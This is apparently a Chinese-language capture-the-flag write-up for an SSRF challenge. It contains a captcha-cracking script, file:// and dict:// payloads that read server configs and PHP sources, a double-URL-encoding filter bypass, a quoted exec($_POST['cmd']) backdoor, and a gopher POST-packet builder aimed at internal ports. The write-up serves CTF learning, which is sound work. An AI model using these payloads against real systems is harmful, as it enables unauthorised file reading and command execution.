题目
就是一个验证框和URL框,两个都必须有参数
解法
验证码
做一个粗略的脚本,一般验证码都是数字,所以直接开md5:
def cmpcapt(substr):
for i in range(1,100001):
md5 = hashlib.md5(str(i).encode('utf-8'))
hexmd5 = md5.hexdigest()
if hexmd5[-6:-1]+hexmd5[-1] == substr:
return i
def catchcapt(url, headers):
r = requests.get(url,headers=headers)
pat1 = re.compile("== \"[0-9a-z]{6}\"")
pat2 = re.compile("[0-9a-z]{6}")
capt = re.findall(pat2, re.findall(pat1,r.text)[0])
return capt[0]
def getcapt(url, headers):
return cmpcapt(catchcapt(url, headers))
需要注意的是,这里面的headers需要加上cookie,不然验证码会一直变。
读取文件
经过这下面的payload可以知道很多东西:
payload={
0: 'file:///etc/apache2/sites-enabled/000-default.conf',
1: 'file:///etc/apache2/apache2.conf',
2: 'file:///lib.php',
3: 'file:///var/www/html/index.php',
4: 'file:///var/www/html/lib.php',
5: 'dict://127.0.0.1:47852',
6: 'file:///var/www/htmlssrf123123/index.php',
}
读到lib.php
发现它只过滤了flag什么的,所以有以下思路
思路一:使用双重URL编码
file:///%2566lag
思路二:使用gopher(未完成)
看到 6: 'file:///var/www/htmlssrf123123/index.php'
里面有如下代码:
<?php
if(isset($_POST['cmd'])){
exec($_POST['cmd']);
}
?>
再看到payload0执行后的结果:
# ServerAdmin webmaster@localhost 80
# DocumentRoot /var/www/html
# ErrorLog ${APACHE_LOG_DIR}/error.log
# CustomLog ${APACHE_LOG_DIR}/access.log combined
# ServerAdmin secret@localhost 47852
# DocumentRoot /var/www/htmlssrf123123
# ErrorLog ${APACHE_LOG_DIR}/error.log
# CustomLog ${APACHE_LOG_DIR}/access.log combined
想到可以传入POST请求到 47852 端口,就可以执行命令了(不知道这个可不可行,我没能成功)。
构造一个POST包使用gopher
协议传到 47852 端口即可。到时候flag
可以使用f""lag
来绕过。
构造包的代码:
def PAR_POST(path, content, host='127.0.0.1:80'):
'''
构造gopher的POST包请求,攻击IP为127.0.0.1回环IP
gopher://127.0.0.1:80/_POST包
:param path: 攻击目标路径(e.g index.php)
:param content: 攻击payload
:param port: 将此POST请求发送到哪个端口,可以设置为3306 mysql端口
:return: POST包
'''
PAR ="POST /{} HTTP/1.1\n" \
"Host: {}\n" \
"User-Agent: curl/7.43.0\n" \
"Accept: */*\n" \
"Content-Type: application/x-www-form-urlencoded\n" \
"Content-Length: {}\n\n" \
"{}\n".format(path, host, len(content), content)
NEW_PAR = urllib.parse.quote(PAR)
NEW_PAR = NEW_PAR.replace('%0A','%0D%0A')
res = 'gopher://127.0.0.1:80/_' + NEW_PAR
return urllib.parse.quote(res)